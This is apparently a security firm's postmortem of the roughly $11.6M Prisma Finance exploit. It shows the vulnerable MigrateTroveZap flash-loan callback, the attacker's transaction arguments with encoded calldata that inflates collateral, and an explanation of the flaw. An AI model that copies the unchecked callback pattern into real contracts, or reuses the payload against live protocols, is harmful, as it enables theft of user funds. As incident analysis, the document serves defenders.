CUBE3 Contributor
$11 Million Prisma Finance Exploit Analysis
CUBE3.AI ML-based threat detection system encountered an alert with the transaction 0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7
on the Ethereum chain, belonging to Prisma Finance. The attacker stole ~$11.6M of wstETH tokens (at time of writing) by iterating this attack exploiting faulty migration between troves.
Below you can find our analysis on the Prisma Finance exploit.
1. Prisma Exploiter / Exploit Addresses
- Attacker address:
0xd996073019c74b2fb94ead236e32032405bc027c
- Victim:
0x1cc79f3f47bfc060b6f761fcd1afc6d399a968b6
– PrismaFi TroveManager - Faulty contract:
0xcc7218100da61441905e0c327749972e3cbee9ee
PrismaFi MigrateTroveZap - Loot: ~1281.9 wstET ~= $5.3M
2. Prisma Finance Attack Overview
At the heart of this attack was the MigrateTroveZap and it’s flashloan callback. This contract migrates TroveManagers between different versions. It does this by moving collateral from old troves (by closing them) to new ones (by re-opening under the same receiver).
3. Prisma Finance Attack Sequence
When The MigrateTroveZap
contract closed the old version trove with the attacker’s original collateral amount of 1 wstETH, the new trove was opened with ~1282.8 wstETH instead.
This happens because MigrateTroveZap
doesn’t calculate the new collateral amount from the closed trove directly but from what it receives inside the flashloan callback, which is controlled by the attacker. By ABI encoding this large value into the flashloan call, the callback also receives this faulty value. The new trove is opened with a user-controlled balance.
function onFlashLoan(
address,
address,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
require(msg.sender == address(debtToken), "!DebtToken");
(
address account,
address troveManagerFrom,
address troveManagerTo,
uint256 maxFeePercentage,
uint256 coll, // <-- exploit happens here
address upperHint,
address lowerHint
) = abi.decode(data, (address, address, address, uint256, uint256, address, address));
uint256 toMint = amount + fee;
borrowerOps.closeTrove(troveManagerFrom, account);
borrowerOps.openTrove(troveManagerTo, account, maxFeePercentage, coll, toMint, upperHint, lowerHint);
return _RETURN_VALUE;
}
{
"msg.sender": "0xd996073019c74b2fb94ead236e32032405bc027c",
"func": "flashLoan",
"args": {
"receiver": "0xcc7218100da61441905e0c327749972e3cbee9ee",
"token": "0x4591dbff62656e7859afe5e45f6f47d3669fbb28",
"amount": "2000000000000000000000",
"data": "0x000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f"
},
"return": {
"out0": true
}
}
If we ABI decode the `data` field, we see that even though the flashloan amount is the correct value (2000
), the value encoded in the callback parameters corresponding to the collateral is 0x0000000000000000000000000000000000000000000000458a6330674daf1a93 = 1282797208306130557587 = 1282.7972083061306
By repeating this attack many times, the attacker so far accumulated $11.6M worth of tokens from troves. The Prisma team responded with instructions on how to remove delegate approvals of the MigrateTroveZap
from vaults.
For more postmortems and web3 security analysis, see the CUBE3.AI blog homepage.
Review our docs and access our free tools by signing up today.
Join our community, connect with us directly on LinkedIn and X.